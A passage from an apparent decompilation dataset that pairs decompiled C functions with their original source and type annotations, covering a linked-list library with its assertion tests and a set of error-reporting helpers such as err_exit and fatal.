    ((void) sizeof ((list -> node_first -> next == list -> node_last) ? 1 : 0), __extension__ ({ if (list -> node_first -> next == list -> node_last) ; else __assert_fail ("list -> node_first -> next == list -> node_last", "test.c", 44, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_last -> value == value1) ? 1 : 0), __extension__ ({ if (list -> node_last -> value == value1) ; else __assert_fail ("list -> node_last -> value == value1", "test.c", 45, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_last -> next == ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_last -> next == ((void *)0)) ; else __assert_fail ("list -> node_last -> next == NULL", "test.c", 46, __extension__ __PRETTY_FUNCTION__); }));
}

canonical_original_code:
void list_add_first_test()
{
    struct linked_list_int_head *list;
    long value1 = 1;
    long value2 = 2;
    list = linked_list_int_create();
    linked_list_int_add_first(list, value1);
    ((void) sizeof ((list -> node_first == list -> node_last) ? 1 : 0), __extension__ ({ if (list -> node_first == list -> node_last) ; else __assert_fail ("list -> node_first == list -> node_last", "test.c", 28, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first != ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_first != ((void *)0)) ; else __assert_fail ("list -> node_first != NULL", "test.c", 29, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> count == 1) ? 1 : 0), __extension__ ({ if (list -> count == 1) ; else __assert_fail ("list -> count == 1", "test.c", 30, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first -> value == value1) ? 1 : 0), __extension__ ({ if (list -> node_first -> value == value1) ; else __assert_fail ("list -> node_first -> value == value1", "test.c", 32, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first -> next == ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_first -> next == ((void *)0)) ; else __assert_fail ("list -> node_first -> next == NULL", "test.c", 33, __extension__ __PRETTY_FUNCTION__); }));
    linked_list_int_add_first(list, value2);
    ((void) sizeof ((list -> node_first != ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_first != ((void *)0)) ; else __assert_fail ("list -> node_first != NULL", "test.c", 37, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_last != ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_last != ((void *)0)) ; else __assert_fail ("list -> node_last != NULL", "test.c", 38, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> count == 2) ? 1 : 0), __extension__ ({ if (list -> count == 2) ; else __assert_fail ("list -> count == 2", "test.c", 39, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first != list -> node_last) ? 1 : 0), __extension__ ({ if (list -> node_first != list -> node_last) ; else __assert_fail ("list -> node_first != list -> node_last", "test.c", 41, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first -> value == value2) ? 1 : 0), __extension__ ({ if (list -> node_first -> value == value2) ; else __assert_fail ("list -> node_first -> value == value2", "test.c", 43, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first -> next == list -> node_last) ? 1 : 0), __extension__ ({ if (list -> node_first -> next == list -> node_last) ; else __assert_fail ("list -> node_first -> next == list -> node_last", "test.c", 44, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_last -> value == value1) ? 1 : 0), __extension__ ({ if (list -> node_last -> value == value1) ; else __assert_fail ("list -> node_last -> value == value1", "test.c", 45, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_last -> next == ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_last -> next == ((void *)0)) ; else __assert_fail ("list -> node_last -> next == NULL", "test.c", 46, __extension__ __PRETTY_FUNCTION__); }));
}

user_defined_types: struct linked_list_int_node { long value; struct linked_list_int_node *next; }


decompiled_code:
_QWORD *list_add_last_test()
{
_QWORD *v0; // rbx
_QWORD *v1; // rax
_QWORD *v2; // rdx
_QWORD *result; // rax

v0 = (_QWORD *)linked_list_int_create();
linked_list_int_add_last(v0, 1LL);
v1 = (_QWORD *)v0[1];
if ( v1 != (_QWORD *)v0[2] )
__assert_fail("list -> node_first == list -> node_last", "test.c", 0x3Du, "list_add_last_test");
if ( !v1 )
__assert_fail("list -> node_first != NULL", "test.c", 0x3Eu, "list_add_last_test");
if ( *v0 != 1LL )
__assert_fail("list -> count == 1", "test.c", 0x3Fu, "list_add_last_test");
if ( *v1 != 1LL )
__assert_fail("list -> node_first -> value == value1", "test.c", 0x41u, "list_add_last_test");
if ( v1[1] )
__assert_fail("list -> node_first -> next == NULL", "test.c", 0x42u, "list_add_last_test");
linked_list_int_add_last(v0, 2LL);
v2 = (_QWORD *)v0[1];
if ( !v2 )
__assert_fail("list -> node_first != NULL", "test.c", 0x46u, "list_add_last_test");
result = (_QWORD *)v0[2];
if ( !result )
__assert_fail("list -> node_last != NULL", "test.c", 0x47u, "list_add_last_test");
if ( *v0 != 2LL )
__assert_fail("list -> count == 2", "test.c", 0x48u, "list_add_last_test");
if ( v2 == result )
__assert_fail("list -> node_first != list -> node_last", "test.c", 0x4Au, "list_add_last_test");
if ( *v2 != 1LL )
__assert_fail("list -> node_first -> value == value1", "test.c", 0x4Cu, "list_add_last_test");
if ( result != (_QWORD *)v2[1] )
__assert_fail("list -> node_first -> next == list -> node_last", "test.c", 0x4Du, "list_add_last_test");
if ( *result != 2LL )
__assert_fail("list -> node_last -> value == value2", "test.c", 0x4Eu, "list_add_last_test");
if ( result[1] )
__assert_fail("list -> node_last -> next == NULL", "test.c", 0x4Fu, "list_add_last_test");
return result;
}

canonical_decompiled_code:
_QWORD *func9()
{
_QWORD *v0; // rbx
_QWORD *v1; // rax
_QWORD *v2; // rdx
_QWORD *result; // rax

v0 = (_QWORD *)func10();
func12(v0, 1LL);
v1 = (_QWORD *)v0[1];
if ( v1 != (_QWORD *)v0[2] )
__assert_fail("list -> node_first == list -> node_last", "test.c", 0x3Du, "list_add_last_test");
if ( !v1 )
__assert_fail("list -> node_first != NULL", "test.c", 0x3Eu, "list_add_last_test");
if ( *v0 != 1LL )
__assert_fail("list -> count == 1", "test.c", 0x3Fu, "list_add_last_test");
if ( *v1 != 1LL )
__assert_fail("list -> node_first -> value == value1", "test.c", 0x41u, "list_add_last_test");
if ( v1[1] )
__assert_fail("list -> node_first -> next == NULL", "test.c", 0x42u, "list_add_last_test");
func12(v0, 2LL);
v2 = (_QWORD *)v0[1];
if ( !v2 )
__assert_fail("list -> node_first != NULL", "test.c", 0x46u, "list_add_last_test");
result = (_QWORD *)v0[2];
if ( !result )
__assert_fail("list -> node_last != NULL", "test.c", 0x47u, "list_add_last_test");
if ( *v0 != 2LL )
__assert_fail("list -> count == 2", "test.c", 0x48u, "list_add_last_test");
if ( v2 == result )
__assert_fail("list -> node_first != list -> node_last", "test.c", 0x4Au, "list_add_last_test");
if ( *v2 != 1LL )
__assert_fail("list -> node_first -> value == value1", "test.c", 0x4Cu, "list_add_last_test");
if ( result != (_QWORD *)v2[1] )
__assert_fail("list -> node_first -> next == list -> node_last", "test.c", 0x4Du, "list_add_last_test");
if ( *result != 2LL )
__assert_fail("list -> node_last -> value == value2", "test.c", 0x4Eu, "list_add_last_test");
if ( result[1] )
__assert_fail("list -> node_last -> next == NULL", "test.c", 0x4Fu, "list_add_last_test");
return result;
}

original_code:
void list_add_last_test()
{
    linked_list_int_t *list;
    int64_t value1 = 1;
    int64_t value2 = 2;
    list = linked_list_int_create();
    linked_list_int_add_last(list, value1);
    ((void) sizeof ((list -> node_first == list -> node_last) ? 1 : 0), __extension__ ({ if (list -> node_first == list -> node_last) ; else __assert_fail ("list -> node_first == list -> node_last", "test.c", 61, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first != ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_first != ((void *)0)) ; else __assert_fail ("list -> node_first != NULL", "test.c", 62, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> count == 1) ? 1 : 0), __extension__ ({ if (list -> count == 1) ; else __assert_fail ("list -> count == 1", "test.c", 63, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first -> value == value1) ? 1 : 0), __extension__ ({ if (list -> node_first -> value == value1) ; else __assert_fail ("list -> node_first -> value == value1", "test.c", 65, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first -> next == ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_first -> next == ((void *)0)) ; else __assert_fail ("list -> node_first -> next == NULL", "test.c", 66, __extension__ __PRETTY_FUNCTION__); }));
    linked_list_int_add_last(list, value2);
    ((void) sizeof ((list -> node_first != ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_first != ((void *)0)) ; else __assert_fail ("list -> node_first != NULL", "test.c", 70, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_last != ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_last != ((void *)0)) ; else __assert_fail ("list -> node_last != NULL", "test.c", 71, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> count == 2) ? 1 : 0), __extension__ ({ if (list -> count == 2) ; else __assert_fail ("list -> count == 2", "test.c", 72, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first != list -> node_last) ? 1 : 0), __extension__ ({ if (list -> node_first != list -> node_last) ; else __assert_fail ("list -> node_first != list -> node_last", "test.c", 74, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first -> value == value1) ? 1 : 0), __extension__ ({ if (list -> node_first -> value == value1) ; else __assert_fail ("list -> node_first -> value == value1", "test.c", 76, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first -> next == list -> node_last) ? 1 : 0), __extension__ ({ if (list -> node_first -> next == list -> node_last) ; else __assert_fail ("list -> node_first -> next == list -> node_last", "test.c", 77, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_last -> value == value2) ? 1 : 0), __extension__ ({ if (list -> node_last -> value == value2) ; else __assert_fail ("list -> node_last -> value == value2", "test.c", 78, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_last -> next == ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_last -> next == ((void *)0)) ; else __assert_fail ("list -> node_last -> next == NULL", "test.c", 79, __extension__ __PRETTY_FUNCTION__); }));
}

canonical_original_code:
void list_add_last_test()
{
    struct linked_list_int_head *list;
    long value1 = 1;
    long value2 = 2;
    list = linked_list_int_create();
    linked_list_int_add_last(list, value1);
    ((void) sizeof ((list -> node_first == list -> node_last) ? 1 : 0), __extension__ ({ if (list -> node_first == list -> node_last) ; else __assert_fail ("list -> node_first == list -> node_last", "test.c", 61, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first != ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_first != ((void *)0)) ; else __assert_fail ("list -> node_first != NULL", "test.c", 62, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> count == 1) ? 1 : 0), __extension__ ({ if (list -> count == 1) ; else __assert_fail ("list -> count == 1", "test.c", 63, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first -> value == value1) ? 1 : 0), __extension__ ({ if (list -> node_first -> value == value1) ; else __assert_fail ("list -> node_first -> value == value1", "test.c", 65, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first -> next == ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_first -> next == ((void *)0)) ; else __assert_fail ("list -> node_first -> next == NULL", "test.c", 66, __extension__ __PRETTY_FUNCTION__); }));
    linked_list_int_add_last(list, value2);
    ((void) sizeof ((list -> node_first != ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_first != ((void *)0)) ; else __assert_fail ("list -> node_first != NULL", "test.c", 70, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_last != ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_last != ((void *)0)) ; else __assert_fail ("list -> node_last != NULL", "test.c", 71, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> count == 2) ? 1 : 0), __extension__ ({ if (list -> count == 2) ; else __assert_fail ("list -> count == 2", "test.c", 72, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first != list -> node_last) ? 1 : 0), __extension__ ({ if (list -> node_first != list -> node_last) ; else __assert_fail ("list -> node_first != list -> node_last", "test.c", 74, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first -> value == value1) ? 1 : 0), __extension__ ({ if (list -> node_first -> value == value1) ; else __assert_fail ("list -> node_first -> value == value1", "test.c", 76, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_first -> next == list -> node_last) ? 1 : 0), __extension__ ({ if (list -> node_first -> next == list -> node_last) ; else __assert_fail ("list -> node_first -> next == list -> node_last", "test.c", 77, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_last -> value == value2) ? 1 : 0), __extension__ ({ if (list -> node_last -> value == value2) ; else __assert_fail ("list -> node_last -> value == value2", "test.c", 78, __extension__ __PRETTY_FUNCTION__); }));
    ((void) sizeof ((list -> node_last -> next == ((void *)0)) ? 1 : 0), __extension__ ({ if (list -> node_last -> next == ((void *)0)) ; else __assert_fail ("list -> node_last -> next == NULL", "test.c", 79, __extension__ __PRETTY_FUNCTION__); }));
}


decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
list_create_test();
list_add_first_test();
list_add_last_test();
return 0;
}

canonical_decompiled_code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
func7();
func8();
func9();
return 0;
}

original_code:
int main()
{
    list_create_test();
    list_add_first_test();
    list_add_last_test();
    return 0;
}


decompiled_code:
_QWORD *linked_list_int_create()
{
_QWORD *result; // rax

result = malloc(0x18uLL);
if ( result )
{
*result = 0LL;
result[1] = 0LL;
result[2] = 0LL;
}
return result;
}

canonical_decompiled_code:
_QWORD *func10()
{
_QWORD *result; // rax

result = malloc(0x18uLL);
if ( result )
{
*result = 0LL;
result[1] = 0LL;
result[2] = 0LL;
}
return result;
}

original_code:
linked_list_int_t * linked_list_int_create()
{
    linked_list_int_t *list = malloc(sizeof(struct linked_list_int_head));
    if (list != ((void *)0))
    {
        list -> count = 0;
        list -> node_first = ((void *)0);
        list -> node_last = ((void *)0);
    }
    return list;
}

canonical_original_code:
struct linked_list_int_head *linked_list_int_create()
{
    struct linked_list_int_head *list = malloc(sizeof(struct linked_list_int_head));
    if (list != ((void *)0))
    {
        list -> count = 0;
        list -> node_first = ((void *)0);
        list -> node_last = ((void *)0);
    }
    return list;
}

return_type: struct linked_list_int_head { long count; struct linked_list_int_node { long value; struct linked_list_int_node *next; } *node_first; struct linked_list_int_node *node_last; } *


decompiled_code:
__int64 __fastcall linked_list_int_add_first(_QWORD *a1, __int64 a2)
{
_QWORD *v2; // rax
__int64 v3; // rdx

v2 = malloc(0x10uLL);
if ( !v2 )
return 0xFFFFFFFFLL;
*v2 = a2;
v3 = a1[1];
if ( v3 )
{
v2[1] = v3;
a1[1] = v2;
}
else
{
v2[1] = 0LL;
a1[1] = v2;
a1[2] = v2;
}
++*a1;
return 0LL;
}

original_code:
int32_t linked_list_int_add_first(linked_list_int_t *list, int64_t value)
{
    linked_list_int_node_t *new_node = malloc(sizeof(linked_list_int_node_t));
    int32_t result;
    if (new_node != ((void *)0))
    {
        new_node -> value = value;
        if (list -> node_first == ((void *)0))
        {
            new_node -> next = ((void *)0);
            list -> node_first = new_node;
            list -> node_last = new_node;
        }
        else
        {
            new_node -> next = list -> node_first;
            list -> node_first = new_node;
        }
        list -> count += 1;
        result = 0;
    }
    else
    {
        result = -1;
    }
    return result;
}

canonical_original_code:
int linked_list_int_add_first(struct linked_list_int_head *list, long value)
{
    struct linked_list_int_node *new_node = malloc(sizeof(linked_list_int_node_t));
    int result;
    if (new_node != ((void *)0))
    {
        new_node -> value = value;
        if (list -> node_first == ((void *)0))
        {
            new_node -> next = ((void *)0);
            list -> node_first = new_node;
            list -> node_last = new_node;
        }
        else
        {
            new_node -> next = list -> node_first;
            list -> node_first = new_node;
        }
        list -> count += 1;
        result = 0;
    }
    else
    {
        result = -1;
    }
    return result;
}

variable_types: value long

variable_types: struct linked_list_int_node { long value; struct linked_list_int_node *next; } *

variable_types: result int


decompiled_code:
__int64 __fastcall linked_list_int_add_last(_QWORD *a1, __int64 a2)
{
_QWORD *v2; // rax

v2 = malloc(0x10uLL);
if ( !v2 )
return 0xFFFFFFFFLL;
*v2 = a2;
v2[1] = 0LL;
if ( a1[1] )
*(_QWORD *)(a1[2] + 8LL) = v2;
else
a1[1] = v2;
a1[2] = v2;
++*a1;
return 0LL;
}

canonical_decompiled_code:
__int64 __fastcall func12(_QWORD *a1, __int64 a2)
{
_QWORD *v2; // rax

v2 = malloc(0x10uLL);
if ( !v2 )
return 0xFFFFFFFFLL;
*v2 = a2;
v2[1] = 0LL;
if ( a1[1] )
*(_QWORD *)(a1[2] + 8LL) = v2;
else
a1[1] = v2;
a1[2] = v2;
++*a1;
return 0LL;
}

original_code:
int32_t linked_list_int_add_last(linked_list_int_t *list, int64_t value)
{
    linked_list_int_node_t *new_node = malloc(sizeof(linked_list_int_node_t));
    int32_t result;
    if (new_node != ((void *)0))
    {
        new_node -> value = value;
        new_node -> next = ((void *)0);
        if (list -> node_first == ((void *)0))
        {
            list -> node_first = new_node;
            list -> node_last = new_node;
        }
        else
        {
            list -> node_last -> next = new_node;
            list -> node_last = new_node;
        }
        list -> count += 1;
        result = 0;
    }
    else
    {
        result = -1;
    }
    return result;
}

canonical_original_code:
int linked_list_int_add_last(struct linked_list_int_head *list, long value)
{
    struct linked_list_int_node *new_node = malloc(sizeof(linked_list_int_node_t));
    int result;
    if (new_node != ((void *)0))
    {
        new_node -> value = value;
        new_node -> next = ((void *)0);
        if (list -> node_first == ((void *)0))
        {
            list -> node_first = new_node;
            list -> node_last = new_node;
        }
        else
        {
            list -> node_last -> next = new_node;
            list -> node_last = new_node;
        }
        list -> count += 1;
        result = 0;
    }
    else
    {
        result = -1;
    }
    return result;
}


decompiled_code:
int __fastcall linked_list_int_print(__int64 a1)
{
_QWORD *v1; // rbx
int result; // eax

v1 = *(_QWORD **)(a1 + 8);
for ( result = putchar(76); v1; v1 = (_QWORD *)v1[1] )
{
printf("-|");
printf("%ld", *v1);
result = putchar(124);
}
return result;
}

canonical_decompiled_code:
int __fastcall func14(__int64 a1)
{
_QWORD *v1; // rbx
int result; // eax

v1 = *(_QWORD **)(a1 + 8);
for ( result = putchar(76); v1; v1 = (_QWORD *)v1[1] )
{
printf("-|");
printf("%ld", *v1);
result = putchar(124);
}
return result;
}

original_code:
void linked_list_int_print(linked_list_int_t *list)
{
    linked_list_int_node_t *list_node = list -> node_first;
    printf("L");
    while (list_node != ((void *)0))
    {
        printf("-|");
        printf("%ld", list_node -> value);
        printf("|");
        list_node = list_node -> next;
    }
}

canonical_original_code:
void linked_list_int_print(struct linked_list_int_head *list)
{
    struct linked_list_int_node *list_node = list -> node_first;
    printf("L");
    while (list_node != ((void *)0))
    {
        printf("-|");
        printf("%ld", list_node -> value);
        printf("|");
        list_node = list_node -> next;
    }
}


repo: aboreak/KISS-Engine

decompiled_code:
int __fastcall output_error(int a1, int a2, int a3, const char *a4, void *a5)
{
char *v6; // r8
const char *v7; // rcx
__int16 v9[256]; // [rsp+0h] [rbp-618h] BYREF
char s[512]; // [rsp+200h] [rbp-418h] BYREF
char v11[536]; // [rsp+400h] [rbp-218h] BYREF

vsnprintf(s, 0x1F4uLL, a4, a5);
if ( a1 )
{
v6 = strerror(a2);
v7 = "?UNKNOWN?";
if ( (unsigned int)(a2 - 1) <= 0x84 )
v7 = (const char *)*(&ename + a2);
snprintf((char *)v9, 0x1F4uLL, " [%s %s]", v7, v6);
}
else
{
v9[0] = 58;
}
snprintf(v11, 0x1F4uLL, "ERROR%s %s\n", (const char *)v9, s);
if ( a3 )
fflush(stdout);
fputs(v11, stderr);
return fflush(stderr);
}

canonical_decompiled_code:
int __fastcall func0(int a1, int a2, int a3, const char *a4, void *a5)
{
char *v6; // r8
const char *v7; // rcx
__int16 v9[256]; // [rsp+0h] [rbp-618h] BYREF
char s[512]; // [rsp+200h] [rbp-418h] BYREF
char v11[536]; // [rsp+400h] [rbp-218h] BYREF

vsnprintf(s, 0x1F4uLL, a4, a5);
if ( a1 )
{
v6 = strerror(a2);
v7 = "?UNKNOWN?";
if ( (unsigned int)(a2 - 1) <= 0x84 )
v7 = (const char *)*(&ename + a2);
snprintf((char *)v9, 0x1F4uLL, " [%s %s]", v7, v6);
}
else
{
v9[0] = 58;
}
snprintf(v11, 0x1F4uLL, "ERROR%s %s\n", (const char *)v9, s);
if ( a3 )
fflush(stdout);
fputs(v11, stderr);
return fflush(stderr);
}

original_code:
static void output_error(int use_err, int err, int flush_stdout,
    const char *format, va_list ap)
{
 char buf[500];
 char user_msg[500];
 char err_text[500];
 vsnprintf(user_msg, 500, format, ap);
 if (use_err)
  snprintf(err_text, 500, " [%s %s]",
    (err > 0 && err <= 133) ?
    ename[err] : "?UNKNOWN?", strerror(err));
 else
  snprintf(err_text, 500, ":");
 snprintf(buf, 500, "ERROR%s %s\n", err_text, user_msg);
 if (flush_stdout)
  fflush(stdout);
 fputs(buf, stderr);
 fflush(stderr);
}

canonical_original_code:
static void output_error(int use_err, int err, int flush_stdout, char *format, __builtin_va_list ap)
{
 char buf[500];
 char user_msg[500];
 char err_text[500];
 vsnprintf(user_msg, 500, format, ap);
 if (use_err)
  snprintf(err_text, 500, " [%s %s]",
    (err > 0 && err <= 133) ?
    ename[err] : "?UNKNOWN?", strerror(err));
 else
  snprintf(err_text, 500, ":");
 snprintf(buf, 500, "ERROR%s %s\n", err_text, user_msg);
 if (flush_stdout)
  fflush(stdout);
 fputs(buf, stderr);
 fflush(stderr);
}

variable_types: err int

variable_types:
format
char *

variable_types:
buf
char [500]


terminate

decompiled_code:
void __fastcall __noreturn terminate(int a1)
{
char *v1; // rax

v1 = getenv("EF_DUMPCORE");
if ( !v1 || !*v1 )
{
if ( a1 )
exit(1);
exit(1);
}
abort();
}

canonical_decompiled_code:
void __fastcall __noreturn func1(int a1)
{
char *v1; // rax

v1 = getenv("EF_DUMPCORE");
if ( !v1 || !*v1 )
{
if ( a1 )
exit(1);
exit(1);
}
abort();
}

original_code:
__attribute__ ((__noreturn__))
static void terminate(int use_exit3)
{
 char *s = getenv("EF_DUMPCORE");
 if (s != ((void *)0) && *s != '\0')
  abort();
 else if (use_exit3)
  exit(1);
 else
  _exit(1);
}

variable_types:
s
char *


decompiled_code:
int err_msg(const char *a1, ...)
{
int *v1; // rbx
int v2; // er12
int result; // eax
gcc_va_list va; // [rsp+8h] [rbp-E0h] BYREF

va_start(va, a1);
v1 = _errno_location();
v2 = *v1;
result = output_error(1, *v1, 1, a1, va);
*v1 = v2;
return result;
}

canonical_decompiled_code:
int func2(const char *a1, ...)
{
int *v1; // rbx
int v2; // er12
int result; // eax
gcc_va_list va; // [rsp+8h] [rbp-E0h] BYREF

va_start(va, a1);
v1 = _errno_location();
v2 = *v1;
result = func0(1, *v1, 1, a1, va);
*v1 = v2;
return result;
}

original_code:
void err_msg(const char *format, ...)
{
 va_list arg_list;
 int saved_errno = (*__errno_location ());
 __builtin_va_start(arg_list,format);
 output_error((1), (*__errno_location ()), (1), format, arg_list);
 __builtin_va_end(arg_list);
 (*__errno_location ()) = saved_errno;
}

canonical_original_code:
void err_msg(char *format, ...)
{
 __builtin_va_list arg_list;
 int saved_errno = (*__errno_location ());
 __builtin_va_start(arg_list,format);
 output_error((1), (*__errno_location ()), (1), format, arg_list);
 __builtin_va_end(arg_list);
 (*__errno_location ()) = saved_errno;
}


decompiled_code:
void __noreturn err_exit(const char *a1, ...)
{
int *v1; // rax
gcc_va_list va; // [rsp+8h] [rbp-D0h] BYREF

va_start(va, a1);
v1 = _errno_location();
output_error(1, *v1, 1, a1, va);
terminate(1);
}

canonical_decompiled_code:
void __noreturn func3(const char *a1, ...)
{
int *v1; // rax
gcc_va_list va; // [rsp+8h] [rbp-D0h] BYREF

va_start(va, a1);
v1 = _errno_location();
func0(1, *v1, 1, a1, va);
func1(1);
}

original_code:
void err_exit(const char *format, ...)
{
 va_list arg_list;
 __builtin_va_start(arg_list,format);
 output_error((1), (*__errno_location ()), (1), format, arg_list);
 __builtin_va_end(arg_list);
 terminate((1));
}

canonical_original_code:
void err_exit(char *format, ...)
{
 __builtin_va_list arg_list;
 __builtin_va_start(arg_list,format);
 output_error((1), (*__errno_location ()), (1), format, arg_list);
 __builtin_va_end(arg_list);
 terminate((1));
}


decompiled_code:
void __noreturn err_exit2(const char *a1, ...)
{
int *v1; // rax
gcc_va_list va; // [rsp+8h] [rbp-D0h] BYREF

va_start(va, a1);
v1 = _errno_location();
output_error(1, *v1, 0, a1, va);
terminate(0);
}

canonical_decompiled_code:
void __noreturn func4(const char *a1, ...)
{
int *v1; // rax
gcc_va_list va; // [rsp+8h] [rbp-D0h] BYREF

va_start(va, a1);
v1 = _errno_location();
func0(1, *v1, 0, a1, va);
func1(0);
}

original_code:
void err_exit2(const char *format, ...)
{
 va_list arg_list;
 __builtin_va_start(arg_list,format);
 output_error((1), (*__errno_location ()), (!(1)), format, arg_list);
 __builtin_va_end(arg_list);
 terminate((!(1)));
}

canonical_original_code:
void err_exit2(char *format, ...)
{
 __builtin_va_list arg_list;
 __builtin_va_start(arg_list,format);
 output_error((1), (*__errno_location ()), (!(1)), format, arg_list);
 __builtin_va_end(arg_list);
 terminate((!(1)));
}


decompiled_code:
void __noreturn err_exit_en(int a1, const char *a2, ...)
{
gcc_va_list va; // [rsp+8h] [rbp-D0h] BYREF

va_start(va, a2);
output_error(1, a1, 1, a2, va);
terminate(0);
}

canonical_decompiled_code:
void __noreturn func5(int a1, const char *a2, ...)
{
gcc_va_list va; // [rsp+8h] [rbp-D0h] BYREF

va_start(va, a2);
func0(1, a1, 1, a2, va);
func1(0);
}

original_code:
void err_exit_en(int errnum, const char *format, ...)
{
 va_list arg_list;
 __builtin_va_start(arg_list,format);
 output_error((1), errnum, (1), format, arg_list);
 __builtin_va_end(arg_list);
 terminate((!(1)));
}

canonical_original_code:
void err_exit_en(int errnum, char *format, ...)
{
 __builtin_va_list arg_list;
 __builtin_va_start(arg_list,format);
 output_error((1), errnum, (1), format, arg_list);
 __builtin_va_end(arg_list);
 terminate((!(1)));
}

variable_types: errnum int


fatal

decompiled_code:
void __noreturn fatal(const char *a1, ...)
{
gcc_va_list va; // [rsp+8h] [rbp-D0h] BYREF

va_start(va, a1);
output_error(0, 0, 1, a1, va);
terminate(0);
}

canonical_decompiled_code:
void __noreturn func6(const char *a1, ...)
{
gcc_va_list va; // [rsp+8h] [rbp-D0h] BYREF

va_start(va, a1);
func0(0, 0, 1, a1, va);
func1(0);
}

original_code:
void fatal(const char *format, ...)
{
 va_list arg_list;
 __builtin_va_start(arg_list,format);
 output_error((!(1)), 0, (1), format, arg_list);
 __builtin_va_end(arg_list);
 terminate((!(1)));
}

canonical_original_code:
void fatal(char *format, ...)
{
 __builtin_va_list arg_list;
 __builtin_va_start(arg_list,format);
 output_error((!(1)), 0, (1), format, arg_list);
 __builtin_va_end(arg_list);
 terminate((!(1)));
}


decompiled_code:
void __noreturn err_usage(char *format, ...)
{
gcc_va_list arg; // [rsp+8h] [rbp-D0h] BYREF

va_start(arg, format);
fflush(stdout);
fwrite("Usage: ", 1uLL, 7uLL, stderr);
vfprintf(stderr, format, arg);
fflush(stderr);
exit(1);
}

canonical_decompiled_code:
void __noreturn func7(char *format, ...)
{
gcc_va_list arg; // [rsp+8h] [rbp-D0h] BYREF

va_start(arg, format);
fflush(stdout);
fwrite("Usage: ", 1uLL, 7uLL, stderr);
vfprintf(stderr, format, arg);
fflush(stderr);
exit(1);
}

original_code:
void err_usage(const char *format, ...)
{
 va_list arg_list;
 fflush(stdout);
 fprintf(stderr, "Usage: ");
 __builtin_va_start(arg_list,format);
 vfprintf(stderr, format, arg_list);
 __builtin_va_end(arg_list);
 fflush(stderr);
 exit(1);
}

canonical_original_code:
void err_usage(char *format, ...)
{
 __builtin_va_list arg_list;
 fflush(stdout);
 fprintf(stderr, "Usage: ");
 __builtin_va_start(arg_list,format);
 vfprintf(stderr, format, arg_list);
 __builtin_va_end(arg_list);
 fflush(stderr);
 exit(1);
}


decompiled_code:
void __noreturn err_cmdline(char *format, ...)
{
gcc_va_list arg; // [rsp+8h] [rbp-D0h] BYREF

va_start(arg, format);
fflush(stdout);
fwrite("Command-line usage error: ", 1uLL, 0x1AuLL, stderr);
vfprintf(stderr, format, arg);
fflush(stderr);
exit(1);
}

canonical_decompiled_code:
void __noreturn func8(char *format, ...)
{
gcc_va_list arg; // [rsp+8h] [rbp-D0h] BYREF

va_start(arg, format);
fflush(stdout);
fwrite("Command-line usage error: ", 1uLL, 0x1AuLL, stderr);
vfprintf(stderr, format, arg);
fflush(stderr);
exit(1);
}

original_code:
void err_cmdline(const char *format, ...)
{
 va_list arg_list;
 fflush(stdout);
 fprintf(stderr, "Command-line usage error: ");
 __builtin_va_start(arg_list,format);
 vfprintf(stderr, format, arg_list);
 __builtin_va_end(arg_list);
 fflush(stderr);
 exit(1);
}

canonical_original_code:
void err_cmdline(char *format, ...)
{
 __builtin_va_list arg_list;
 fflush(stdout);
 fprintf(stderr, "Command-line usage error: ");
 __builtin_va_start(arg_list,format);
